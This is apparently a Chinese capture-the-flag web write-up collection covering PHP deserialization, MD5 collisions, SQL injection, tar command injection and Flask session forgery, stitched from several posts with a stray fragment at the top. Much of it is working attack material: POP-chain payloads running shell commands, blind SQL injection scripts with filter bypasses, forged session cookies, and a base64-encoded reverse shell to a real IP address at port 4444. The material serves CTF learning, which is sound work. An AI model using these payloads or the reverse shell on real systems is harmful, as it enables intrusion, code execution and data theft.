prepared a webshell for you <br > here is your webshell : w3b5HeLLlll123 .php </p > </div > </div > </body > </html > <!--flag is in /flag .txt --> 进程已结束,退出代码为 0
moectf勇闯铜人阵 算术题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 import requestsimport timefrom bs4 import BeautifulSoupsession = requests.Session() base_url = 'http://127.0.0.1:64459/' headers = { 'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0' , 'Accept' : 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8' , } directions_map = { '1' : '北方' , '2' : '东北方' , '3' : '东方' , '4' : '东南方' , '5' : '南方' , '6' : '西南方' , '7' : '西方' , '8' : '西北方' } combinations_map = { '1, 2' : '北方一个,东北方一个' , '2, 1' : '东北方一个,北方一个' , '1, 3' : '北方一个,东方一个' , '3, 1' : '东方一个,北方一个' , '1, 4' : '北方一个,东南方一个' , '4, 1' : '东南方一个,北方一个' , '1, 5' : '北方一个,南方一个' , '5, 1' : '南方一个,北方一个' , '1, 6' : '北方一个,西南方一个' , '6, 1' : '西南方一个,北方一个' , '1, 7' : '北方一个,西方一个' , '7, 1' : '西方一个,北方一个' , '1, 8' : '北方一个,西北方一个' , '8, 1' : '西北方一个,北方一个' , '2, 3' : '东北方一个,东方一个' , '3, 2' : '东方一个,东北方一个' , '2, 4' : '东北方一个,东南方一个' , '4, 2' : '东南方一个,东北方一个' , '2, 5' : '东北方一个,南方一个' , '5, 2' : '南方一个,东北方一个' , '2, 6' : '东北方一个,西南方一个' , '6, 2' : '西南方一个,东北方一个' , '2, 7' : '东北方一个,西方一个' , '7, 2' : '西方一个,东北方一个' , '2, 8' : '东北方一个,西北方一个' , '8, 2' : '西北方一个,东北方一个' , '3, 4' : '东方一个,东南方一个' , '4, 3' : '东南方一个,东方一个' , '3, 5' : '东方一个,南方一个' , '5, 3' : '南方一个,东方一个' , '3, 6' : '东方一个,西南方一个' , '6, 3' : '西南方一个,东方一个' , '3, 7' : '东方一个,西方一个' , '7, 3' : '西方一个,东方一个' , '3, 8' : '东方一个,西北方一个' , '8, 3' : '西北方一个,东方一个' , '4, 5' : '东南方一个,南方一个' , '5, 4' : '南方一个,东南方一个' , '4, 6' : '东南方一个,西南方一个' , '6, 4' : '西南方一个,东南方一个' , '4, 7' : '东南方一个,西方一个' , '7, 4' : '西方一个,东南方一个' , '4, 8' : '东南方一个,西北方一个' , '8, 4' : '西北方一个,东南方一个' , '5, 6' : '南方一个,西南方一个' , '6, 5' : '西南方一个,南方一个' , '5, 7' : '南方一个,西方一个' , '7, 5' : '西方一个,南方一个' , '5, 8' : '南方一个,西北方一个' , '8, 5' : '西北方一个,南方一个' , '6, 7' : '西南方一个,西方一个' , '7, 6' : '西方一个,西南方一个' , '6, 8' : '西南方一个,西北方一个' , '8, 6' : '西北方一个,西南方一个' , '7, 8' : '西方一个,西北方一个' , '8, 7' : '西北方一个,西方一个' } def get_direction (numbers ): if ',' in numbers: return combinations_map.get(numbers, '未知组合' ) else : return directions_map.get(numbers, '未知方位' ) start_data = { 'player' : 'zxy' , 'direct' : '弟子明白' } response = session.post(base_url, headers=headers, data=start_data) for i in range (6 ): soup = BeautifulSoup(response.text, 'html.parser' ) numbers = soup.find('h1' , id ='status' ).text.strip() print (f"接收到的数字组合: {numbers} " ) direction = get_direction(numbers) print (f"计算出的方位: {direction} " ) answer_data = { 'player' : 'zxy' , 'direct' : direction } time.sleep(1 ) response = session.post(base_url, headers=headers, data=answer_data) print (f"提交了方位{answer_data} " )
BASECTF [Week2] Really EZ POP 关于pop链的私有属性反射机制以及一些过滤绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 <?php class Sink { private $cmd = "system('cat\t/fl*');" ; public function __toString ( ) { eval ($this ->cmd); } } class Shark { private $word = 'Hello, World!' ; public function __invoke ( ) { echo 'Shark says:' . $this ->word; } } class Sea { public $animal ; public function __get ($name ) { $sea_ani = $this ->animal; echo 'In a deep deep sea, there is a ' . $sea_ani (); } } class Nature { public $sea ; public function __destruct ( ) { echo $this ->sea->see; } } $nature = new Nature ();$sea = new Sea ();$shark = new Shark ();$sink = new Sink ();$sharkReflection = new ReflectionClass ('Shark' );$wordProperty = $sharkReflection ->getProperty ('word' );$wordProperty ->setAccessible (true );$wordProperty ->setValue ($shark , $sink );$sea ->animal = $shark ;$nature ->sea = $sea ;echo urlencode (serialize ($nature ));
BaseCTF 所以你说你懂 MD5? 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 <?php session_start ();highlight_file (__FILE__ );$apple = $_POST ['apple' ];$banana = $_POST ['banana' ];if (!($apple !== $banana && md5 ($apple ) === md5 ($banana ))) { die ('加强难度就不会了?' ); } $apple = (string )$_POST ['appple' ];$banana = (string )$_POST ['bananana' ];if (!((string )$apple !== (string )$banana && md5 ((string )$apple ) == md5 ((string )$banana ))) { die ('难吗?不难!' ); } $apple = (string )$_POST ['apppple' ];$banana = (string )$_POST ['banananana' ];if (!((string )$apple !== (string )$banana && md5 ((string )$apple ) === md5 ((string )$banana ))) { die ('嘻嘻, 不会了? 没看直播回放?' ); } if (!isset ($_SESSION ['random' ])) { $_SESSION ['random' ] = bin2hex (random_bytes (16 )) . bin2hex (random_bytes (16 )) . bin2hex (random_bytes (16 )); } $random = $_SESSION ['random' ];echo md5 ($random );echo '<br />' ;$name = $_POST ['name' ] ?? 'user' ;if (substr ($name , -5 ) !== 'admin' ) { die ('不是管理员也来凑热闹?' ); } $md5 = $_POST ['md5' ];if (md5 ($random . $name ) !== $md5 ) { die ('伪造? NO NO NO!' ); } echo "看样子你真的很懂 MD5" ;echo file_get_contents ('/flag' );
第一个地方用的强比较, 我们可以利用数组绕过
第二个地方强转成了 string, 此时数组会变成 Array
无法绕过
此时我们可以利用第二个地方的弱比较, 让 0e
开头的字符串使 php 误认为是科学计数法, 从而转换为 0
第三个地方第二个地方用了强比较, 此时我们需要找到真实的 MD5 值一致的内容, 我们可以使用 fastcoll 工具
https://www.win.tue.nl/hashclash/fastcoll_v1.0.0.5.exe.zip
通过调用
1 fastcoll_v1.0.0.5.exe -o a.txt a1.txt
可以获得两个内容不同但 MD5 相同的内容, 将其内容 urlencode 之后传入
1 apple[]=1 &banana[]=2 &appple=QLTHNDT&bananana=QNKCDZO&apppple=M%C9h%FF%0 E%E3%5 C%20 %95 r%D4w%7 Br%15 %87 %D3o%A7%B2%1 B%DCV%B7J%3 D%C0x%3 E%7 B%95 %18 %AF%BF%A2%00 %A8%28 K%F3n%8 EKU%B3_Bu%93 %D8Igm%A0%D1U%5 D%83 %60 %FB_%07 %FE%A2&banananana=M%C9h%FF%0 E%E3%5 C%20 %95 r%D4w%7 Br%15 %87 %D3o%A7%B2%1 B%DCV%B7J%3 D%C0x%3 E%7 B%95 %18 %AF%BF%A2%02 %A8%28 K%F3n%8 EKU%B3_Bu%93 %D8Igm%A0%D1%D5%5 D%83 %60 %FB_%07 %FE%A2
第四个地方考了 哈希长度拓展攻击
https://wiki.wgpsec.org/knowledge/ctf/Hash-Leng-Extension.html
参考文章: https://luoingly.top/post/md5-length-extension-attack/
使用工具 https://github.com/luoingly/attack-scripts/blob/main/logic/md5-extension-attack.py
此时可以拓展出 admin 尾缀
Basectf [Week4] flag直接读取不就行了? 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php highlight_file ('index.php' );error_reporting (0 );$J1ng = $_POST ['J' ];$Hong = $_POST ['H' ];$Keng = $_GET ['K' ];$Wang = $_GET ['W' ];$dir = new $Keng ($Wang );foreach ($dir as $f ) { echo ($f . '<br>' ); } echo new $J1ng ($Hong );?>
1 2 ?K=DirectoryIterator&W=glob:////secret/f11444g.php J=SplFileObject&H=/secret/f11444g.php
1 2 ?K=DirectoryIterator&W=/secret J=SplFileObject&H=/secret/f11444g.php
Basectf [Week4] No JWT 获取jwt
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import requestsdef get_jwt_token (login_url, username, password ): login_data = { 'username' : username, 'password' : password } response = requests.post(login_url, json=login_data) token = response.json().get('token' ) print (f"JWT Token: {token} " ) login_url = "http://challenge.basectf.fun:48124/login" username = "admin" password = "123" get_jwt_token(login_url, username, password)
1 2 3 4 5 6 7 8 9 10 11 import requestsfake_token = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiIsImV4cCI6MTcyNTYwNjQ4Nn0.lpy4mkxg3OGUh2lOlMR0syCY3Z7bL5lmV1Uo3Q17K30' flag_url = 'http://challenge.basectf.fun:48124/flag' headers = { 'Authorization' : f'Bearer {fake_token} ' } response = requests.get(flag_url, headers=headers) print (response.json())
浙江省网络安全宣传洲际台州市网络安全宣传周不知道什么sql题 考的变量覆盖和sql注入
源码
function.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php function replace_bad_word ($str ) { global $limit_words ; foreach ($limit_words as $old => $new ) { strlen ($old ) > 2 && $str = str_replace ($old ,trim ($new ),$str ); } return $str ; } function convert ($str ) { return htmlentities ($str ); } $limit_words = array ('造反' => '造**' , '法轮功' => '法**' );foreach (array ('_GET' ,'_POST' ) as $method ) { foreach ($$method as $key => $value ) { $$key = $value ; } } ?>
index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 <?php include 'config.php' ;include 'function.php' ;$conn = new mysqli ($servername , $username , $password , $dbname );if ($conn ->connect_error) { die ('连接数据库失败' ); } $sql = "SELECT COUNT(*) FROM users" ;$result = $conn ->query ($sql );if ($result ->num_rows > 0 ) { $row = $result ->fetch_assoc (); $id = $row ['COUNT(*)' ] + 1 ; } else die ($conn ->error); if (isset ($_POST ['msg' ]) && $_POST ['msg' ] !== '' ) { $msg = addslashes ($_POST ['msg' ]); $msg = replace_bad_word (convert ($msg )); $sql = "INSERT INTO users VALUES($id ,'" . $msg . "')" ; $result = $conn ->query ($sql ); echo $sql ; if ($conn ->error) die ($conn ->error); } echo "<center><h1>Welcome come to SEC message board</center></h1>" ;echo <<<EOF <center> <form action="index.php" method="post"> <p>Leave a message: <input type="text" name="msg" /><input type="submit" value="Submit" /></p> </form> </center> EOF ;$sql = "SELECT * FROM users" ;$result = $conn ->query ($sql );if ($result ->num_rows > 0 ) { echo "<center><table border='1'><tr><th>id</th><th>message</th><tr></center>" ; while ($row = $result ->fetch_row ()) { echo "<tr><th>$row [0]</th><th>$row [1]</th><tr>" ; } echo "</table></center>" ; } $conn ->close ();?>
变量覆盖
1 2 3 4 5 foreach (array ('_GET' ,'_POST' ) as $method ) { foreach ($$method as $key => $value ) { $$key = $value ; } }
读取传递的参数赋值给key,当$key为sql的时候,就相当于$sql=xxxx,那么就可以将需要的sql语句拼接
然后看sql语句,由于$sql = "SELECT * FROM users";
感觉应该不是二次注入
insert注入不支持and where等,也不考虑堆叠等,没有原题,本地环境设置两列,那么第二列使用or拼接
最终payload
1 2 limit_words[sql]=11' or updatexml(1,concat(0x7e,(version())),0) or '');# &msg=sql
![— title: “web\U0001F415每日一题” tags:
ctf
web categories:
ctf
web abbrlink: 10057 date: 2024-07-17 15:57:27
每日一题
每天一题罢了。。
ctfshow内部赛签到 扫到备份文件
login.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php function check ($arr ) {if (preg_match ("/load|and|or|\||\&|select|union|\'|=| |\\\|,|sleep|ascii/i" ,$arr )){ echo "<script>alert('bad hacker!')</script>" ; die (); } else { return true ; } } session_start ();include ('db.php' );if (isset ($_POST ['e' ])&&isset ($_POST ['p' ])){ $e =$_POST ['e' ];$p =$_POST ['p' ];$sql ="select username from test1 where email='$e ' and password='$p '" ;if (check ($e )&&check ($p )){$result =mysqli_query ($con ,$sql );$row = mysqli_fetch_assoc ($result ); if ($row ){ $_SESSION ['u' ]=$row ['username' ]; header ('location:user.php' ); } else { echo "<script>alert('Wrong username or password')</script>" ; } } } ?>
register.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php function check ($arr ) {if (preg_match ("/load|and|\||\&| |\\\|sleep|ascii|if/i" ,$arr )){ echo "<script>alert('bad hacker!')</script>" ; die (); } else { return true ; } } include ('db.php' );if (isset ($_POST ['e' ])&&isset ($_POST ['u' ])&&isset ($_POST ['p' ])){ $e =$_POST ['e' ];$u =$_POST ['u' ];$p =$_POST ['p' ];$sql ="insert into test1 set email = '$e ',username = '$u ',password = '$p '" ;if (check ($e )&&check ($u )&&check ($p )){if (mysqli_query ($con , $sql )){ header ('location:login.php' );} } } ?>
user.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <html> <body background="bg2.jpg" > </body> </html> <?php include ('db.php' );session_start ();error_reporting (0 );if ($_SESSION ['u' ]){$username =$_SESSION ['u' ];if (is_numeric ($username )) { if (strlen ($username )>10 ) { $username =substr ($username ,0 ,10 ); } echo "Hello $username ,there's nothing here but dog food!" ; } else { echo "<script>alert('The username can only be a number.How did you get here?go out!!!');location.href='login.php';</script>" ; } } else { echo "<script>alert('Login first!');location.href='login.php';</script>" ; } ?>
通过注册界面的union select
1 2 $sql = "select username from test1 where email='$e' and password='$p'"; $sql = "insert into test1 set email = '$e', username = '$u',password = '$p'"
构造sql语句
1 insert into test1 set email= '1' ,username= hex(hex(substr((select flagfrom flag),1 ,1 ))),password= '0'
脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 import requestsimport reurl1 = "http://7fc1279d-6a4b-4fca-968f-235322686f5b.challenge.ctf.show/register.php" url2 = "http://7fc1279d-6a4b-4fca-968f-235322686f5b.challenge.ctf.show/login.php" flag = '' for i in range (1 , 50 ): payload = "hex(hex(substr((select/**/flag/**/from/**/flag)from/**/" + str (i) + "/**/for/**/1))),/*" print (payload) s = requests.session() data1 = { 'e' : str (i + 30 ) + "',username=" + payload, 'u' : "*/#" , 'p' : i + 30 } r1 = s.post(url1, data=data1) data2 = { 'e' : i + 30 , 'p' : i + 30 } r2 = s.post(url2, data=data2) t = r2.text real = re.findall("Hello (.*?)," , t)[0 ] flag += real print (flag)
1 ctfshow{88827b24-2cd9-4be6-b15d-7eb1055f9c1c}
web15 Fishman 扫到备份文件
member.php中发现漏洞点
当查询返回的用户名为空且密码错误时,进行四次setcookie操作,当查询返回的用户名为不为空时,进行两次setcookie操作利用这个差异,就已经可以实现布尔盲注了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 import requestsurl = "https://6209bf27-efaa-4086-b619-a9552f4450f6.challenge.ctf.show/admin/" def tamper (payload ): payload = payload.lower() payload = payload.replace('u' , '\\u0075' ) payload = payload.replace('\'' , '\\u0027' ) payload = payload.replace('o' , '\\u006f' ) payload = payload.replace('i' , '\\u0069' ) payload = payload.replace('"' , '\\u0022' ) payload = payload.replace(' ' , '\\u0020' ) payload = payload.replace('s' , '\\u0073' ) payload = payload.replace('#' , '\\u0023' ) payload = payload.replace('>' , '\\u003e' ) payload = payload.replace('<' , '\\u003c' ) payload = payload.replace('-' , '\\u002d' ) payload = payload.replace('=' , '\\u003d' ) payload = payload.replace('f1a9' , 'F1a9' ) payload = payload.replace('f1' , 'F1' ) return payload def databaseName_len (): print ("start get database name length..." ) for l in range (0 , 45 ): payload = "1' or (length(database())=" + str (l + 1 ) + ")#" payload = tamper(payload) tmpCookie = 'islogin=1;login_data={"admin_user":"%s","admin_pass":65}' % payload headers = {'cookie' : tmpCookie} r = requests.get(url, headers=headers) myHeaders = str (r.raw.headers) if ((myHeaders.count("login_data" ) == 1 )): print ('get db length = ' + str (l).lower()) break def get_databaseName (): flag = '' for j in range (0 , 15 ): for c in range (0x20 , 0x7f ): if chr (c) == '\'' or chr (c) == ';' or chr (c) == '\\' or chr (c) == '+' : continue else : payload = "1' or (select (database()) between '" + flag + chr (c) + "' and '" + chr (126 ) + "')#" payload = tamper(payload) tmpCookie = 'islogin=1;login_data={"admin_user":"%s","admin_pass":65}' % payload headers = {'cookie' : tmpCookie} r = requests.get(url, headers=headers) myHeaders = str (r.raw.headers) if ((myHeaders.count("login_data" ) == 2 )): flag += chr (c - 1 ) print ('databasename = ' + flag.lower()) break def get_tableName (): flag = '' for j in range (0 , 30 ): for c in range (0x20 , 0x7f ): if chr (c) == '\'' or chr (c) == ';' or chr (c) == '\\' or chr (c) == '+' : continue else : payload = "1' or (select (select table_name from information_schema.tables where table_schema=database() limit 3,1) between '" + flag + chr ( c) + "' and '" + chr (126 ) + "')#" payload = tamper(payload) tmpCookie = 'islogin=1;login_data={"admin_user":"%s","admin_pass":65}' % payload headers = {'cookie' : tmpCookie} r = requests.get(url, headers=headers) myHeaders = str (r.raw.headers) if ((myHeaders.count("login_data" ) == 2 )): flag += chr (c - 1 ) print ('tablename = ' + flag.lower()) break def get_ColumnName (): flag = '' for j in range (0 , 10 ): for c in range (0x20 , 0x7f ): if chr (c) == '\'' or chr (c) == ';' or chr (c) == '\\' or chr (c) == '+' : continue else : payload = "1' or (select (select column_name from information_schema.columns where table_name='FL2333G' limit 0,1) between '" + flag + chr ( c) + "' and '" + chr (126 ) + "')#" payload = tamper(payload) tmpCookie = 'islogin=1;login_data={"admin_user":"%s","admin_pass":65}' % payload headers = {'cookie' : tmpCookie} r = requests.get(url, headers=headers) myHeaders = str (r.raw.headers) if ((myHeaders.count("login_data" ) == 2 )): flag += chr (c - 1 ) print ('column name = ' + flag.lower()) break def get_value (): flag = '' for j in range (0 , 50 ): for c in range (0x20 , 0x7f ): if chr (c) == '\'' or chr (c) == ';' or chr (c) == '\\' or chr (c) == '+' : continue else : payload = "1' or (select (select FLLLLLAG from FL2333G) between '" + flag + chr (c) + "' and '" + chr ( 126 ) + "')#" payload = tamper(payload) tmpCookie = 'islogin=1;login_data={"admin_user":"%s","admin_pass":65}' % payload headers = {'cookie' : tmpCookie} r = requests.get(url, headers=headers) myHeaders = str (r.raw.headers) if ((myHeaders.count("login_data" ) == 2 )): flag += chr (c - 1 ) print ('flag = ' + flag.lower()) break print ("start database sql injection..." )get_value()
[CISCN 2023 华北]ez_date 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php error_reporting (0 );highlight_file (__FILE__ );class date { public $a ; public $b ; public $file ; public function __wakeup ( ) { if (is_array ($this ->a)||is_array ($this ->b)){ die ('no array' ); } if ( ($this ->a !== $this ->b) && (md5 ($this ->a) === md5 ($this ->b)) && (sha1 ($this ->a)=== sha1 ($this ->b)) ){ $content =date ($this ->file); $uuid =uniqid ().'.txt' ; file_put_contents ($uuid ,$content ); $data =preg_replace ('/((\s)*(\n)+(\s)*)/i' ,'' ,file_get_contents ($uuid )); echo file_get_contents ($data ); } else { die (); } } } unserialize (base64_decode ($_GET ['code' ]));
在反序列化的时候会自动触发这个类中的wakeup方法,看见关键代码
1 if ( ($this ->a !== $this ->b) && (md5 ($this ->a) === md5 ($this ->b)) && (sha1 ($this ->a)=== sha1 ($this ->b)) )
测试代码
1 2 3 4 5 6 7 8 <?php if (sha1 (12 ) === sha1 ('12' ) && md5 (1 ) === md5 ('1' )){ echo '===' ; } else { echo '!=' ; } ?>
正则
1 2 3 4 5 $data=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($uuid)); (\s)*: 匹配零个或者多个空白字符 空格 制表符 换页符 (\n)+: 匹配一个或多个换行符 /i : 匹配时不区分大小写 把上面匹配到的内容全部置换为空
还有两个点
因此得到最终payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php error_reporting (0 );highlight_file (__FILE__ );class date { public $a ; public $b ; public $file ; public function __wakeup ( ) { if (is_array ($this ->a)||is_array ($this ->b)){ die ('no array' ); } if ( ($this ->a !== $this ->b) && (md5 ($this ->a) === md5 ($this ->b)) && (sha1 ($this ->a)=== sha1 ($this ->b)) ){ $content =date ($this ->file); $uuid =uniqid ().'.txt' ; file_put_contents ($uuid ,$content ); $data =preg_replace ('/((\s)*(\n)+(\s)*)/i' ,'' ,file_get_contents ($uuid )); echo file_get_contents ($data ); } else { die (); } } } $yiyi = new date ();$yiyi -> a = 1 ;$yiyi -> b = '1' ;$yiyi -> file = '/f\l\a\g' ;echo base64_encode (serialize ($yiyi ));
[CISCN 2023 华北]pysym 随便传一个看看
查看源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 from flask import Flask, render_template, request, send_from_directoryimport osimport randomimport stringapp = Flask(__name__) app.config['UPLOAD_FOLDER' ]='uploads' @app.route('/' , methods=['GET' ] ) def index (): return render_template('index.html' ) @app.route('/' ,methods=['POST' ] ) def POST (): if 'file' not in request.files: return 'No file uploaded.' file = request.files['file' ] if file.content_length > 10240 : return 'file too lager' path = '' .join(random.choices(string.hexdigits, k=16 )) directory = os.path.join(app.config['UPLOAD_FOLDER' ], path) os.makedirs(directory, mode=0o755 , exist_ok=True ) savepath=os.path.join(directory, file.filename) file.save(savepath) try : os.system('tar --absolute-names -xvf {} -C {}' .format (savepath,directory)) except : return 'something wrong in extracting' links = [] for root, dirs, files in os.walk(directory): for name in files: extractedfile =os.path.join(root, name) if os.path.islink(extractedfile): os.remove(extractedfile) return 'no symlink' if os.path.isdir(path) : return 'no directory' links.append(extractedfile) return render_template('index.html' ,links=links) @app.route("/uploads/<path:path>" ,methods=['GET' ] ) def download (path ): filepath = os.path.join(app.config['UPLOAD_FOLDER' ], path) if not os.path.isfile(filepath): return '404' , 404 return send_from_directory(app.config['UPLOAD_FOLDER' ], path) if __name__ == '__main__' : app.run(host='0.0.0.0' ,port=1337 )
上传tar
根据源码,只有限制长度,上传后调用系统命令对其进行,由于没有文件名的限制
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 def POST (): if 'file' not in request.files: return 'No file uploaded.' file = request.files['file' ] if file.content_length > 10240 : return 'file too lager' path = '' .join (random.choices (string .hexdigits, k=16 )) directory = os.path.join (app.config['UPLOAD_FOLDER' ], path) os.makedirs (directory, mode=0o755 , exist_ok=True) savepath=os.path.join (directory, file.filename) file.save (savepath) try : os.system ('tar --absolute-names -xvf {} -C {}' .format (savepath,directory)) except: return 'something wrong in extracting'
我们可以根据这个特性进行RCE
没有回显,考虑反弹shell
1 bash >& /dev/tcp/101.37.27.18/4444 0>&1
1 test.tar || echo YmFzaCA+JiAvZGV2L3RjcC8xMDEuMzcuMjcuMTgvNDQ0NCAwPiYx| base64 -d | bash ||
[CISCN 2019华东南]Web4 文件读取
尝试读取/etc/passwd
尝试读取flag文件
常见linux配置文件
1 2 3 4 5 6 7 8 9 10 11 /etc/passwd用来判断读取漏洞的存在 /etc/environment是环境变量配置文件之一。环境变量可能存在大量目录信息的泄露,甚至可能出现secret key泄露的情况。 /etc/hostname/etc/hostname表示主机名。 /etc/issue指明系统版本。 /proc目录 /proc/[pid]查看进程 /proc/self查看当前进程 /proc/self/cmdline当前进程对应的终端命令 /proc/self/pwd程序运行目录 /proc/self/环境变量 /sys/class/net/eth0/address mac地址保存位
查看当前进程对应的终端命令
直接读
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 import reimport randomimport uuidimport urllibfrom flask import Flask, session, requestapp = Flask(__name__) random.seed(uuid.getnode()) app.config['SECRET_KEY' ] = str (random.random() * 233 ) app.debug = True @app.route('/' ) def index (): session['username' ] = 'www-data' return 'Hello World! Read somethings' @app.route('/read' ) def read (): try : url = request.args.get('url' ) if re.search('^file.*|flag' , url, re.IGNORECASE): return 'No Hack' with urllib.request.urlopen(url) as res: return res.read().decode('utf-8' ) except Exception as ex: print (str (ex)) return 'no response' @app.route('/flag' ) def flag (): if session.get('username' ) == 'fuck' : return open ('/flag.txt' ).read() else : return 'Access denied' if __name__ == '__main__' : app.run(debug=True , host="0.0.0.0" )
经典session伪造
1 eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.Zpc0_w.WMwIMXtSU15Mlrk3Lwa0K8ZD810
分为三个部分
第一部分是两段base64,使用脚本将www替换成fuck即可,中间是时间戳,最后面是安全签名
1 {"username":{" b":"d3d3LWRhdGE="}}
1 {"username":{" b":"www-data"}}
读mac地址
1 2 3 import randomrandom.seed(0x0242ac02521c ) print (str (random.random()*233 ))
python2运行
1 2 3 ┌──(root㉿kali)-[~/yiyi] └─ 38.8837558332
这里有坑,python2和3跑出来是不一样的,容器中用的是2,所以在这里我们也只能用2
拉到flask_session_cookie_manager3.py跑
1 2 C:\Users \31702\Desktop \yiyi \CTF \web \FLASK 框架>python flask_session_cookie_manager3.py encode -s 38.8837558332 -t "{'username ':'fuck '}" eyJ1c2VybmFtZSI6ImZ1Y2sifQ.ZpdGqA.dt2f0F84oMxkjl0sQQK3_d8E3Xg
替换后获得flag
附:Flask Session Cookie 管理器使用指南 使用说明
使用 flask_session_cookie_manager3.py
与 Python 3,flask_session_cookie_manager2.py
与 Python 2。
使用方法:
1 flask_session_cookie_manager{2,3}.py [-h] {encode,decode} ...
Flask Session Cookie 解码/编码工具
位置参数:
可选参数:
编码
1 flask_session_cookie_manager{2,3}.py encode [-h] -s <string> -t <string>
可选参数:
-h
或 --help
: 显示帮助信息并退出
-s <string>
或 --secret-key <string>
: 密钥
-t <string>
或 --cookie-structure <string>
: Session Cookie 结构
解码
1 flask_session_cookie_manager{2,3}.py decode [-h] [-s <string>] -c <string>
可选参数:
-h
或 --help
: 显示帮助信息并退出
-s <string>
或 --secret-key <string>
: 密钥
-c <string>
或 --cookie-value <string>
: Session Cookie 值
示例
编码
1 2 $ python{2,3} flask_session_cookie_manager{2,3}.py encode -s '.{y]tR&sp&77RdO~u3@XAh#TalD@Oh~yOF_51H(QV};K|ghT^d' -t '{"number":"326410031505","username":"admin"}' eyJudW1iZXIiOnsiIGIiOiJNekkyTkRFd01ETXhOVEExIn0sInVzZXJuYW1lIjp7IiBiIjoiWVdSdGFXND0ifX0.DE2iRA.ig5KSlnmsDH4uhDpmsFRPupB5Vw
注意: Session Cookie 结构必须是一个有效的 Python 字典
解码
使用密钥:
1 2 $ python{2,3} flask_session_cookie_manager{2,3}.py decode -c 'eyJudW1iZXIiOnsiIGIiOiJNekkyTkRFd01ETXhOVEExIn0sInVzZXJuYW1lIjp7IiBiIjoiWVdSdGFXND0ifX0.DE2iRA.ig5KSlnmsDH4uhDpmsFRPupB5Vw' -s '.{y]tR&sp&77RdO~u3@XAh#TalD@Oh~yOF_51H(QV};K|ghT^d' {u'username' : 'admin' , u'number' : '326410031505' }
不使用密钥 (输出格式较差):
1 2 $ python{2,3} flask_session_cookie_manager{2,3}.py decode -c 'eyJudW1iZXIiOnsiIGIiOiJNekkyTkRFd01ETXhOVEExIn0sInVzZXJuYW1lIjp7IiBiIjoiWVdSdGFXND0ifX0.DE2iRA.ig5KSlnmsDH4uhDpmsFRPupB5Vw' {"number" :{" b" :"MzI2NDEwMDMxNTA1" },"username" :{" b" :"YWRtaW4=" }}
[FSCTF 2023]签到plus dirsearch扫到shell.php,访问发现是php info
PHP<=7.4.21 Development Server源码泄露漏洞_php7.4.21漏洞-CSDN博客
关闭bp的Content-Length功能
请求包只留这几句即可
保存至txt查看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 HTTP/0.9 200 OK Host: node4.anna.nssctf.cn:28393 Date: Wed, 17 Jul 2024 06 :03 :28 GMT Connection: close Content-Length: 443 <?php phpinfo ();$😀="a" ; $😁="b" ; $😂="c" ; $🤣="d" ; $😃="e" ; $😄="f" ; $😅="g" ; $😆="h" ; $😉="i" ; $😊="j" ; $😋="k" ; $😎="l" ; $😍="m" ; $😘="n" ; $😗="o" ; $😙="p" ; $😚="q" ; $🙂="r" ; $🤗="s" ; $🤩="t" ; $🤔="u" ; $🤨="v" ; $😐="w" ; $😑="x" ; $😶="y" ; $🙄="z" ; $😭 = $😙. $😀. $🤗. $🤗. $🤩. $😆. $🙂. $🤔; if (isset ($_GET ['👽🦐' ])) { eval ($😭($_GET ['👽🦐' ])); }; ?>
直接命令执行即可
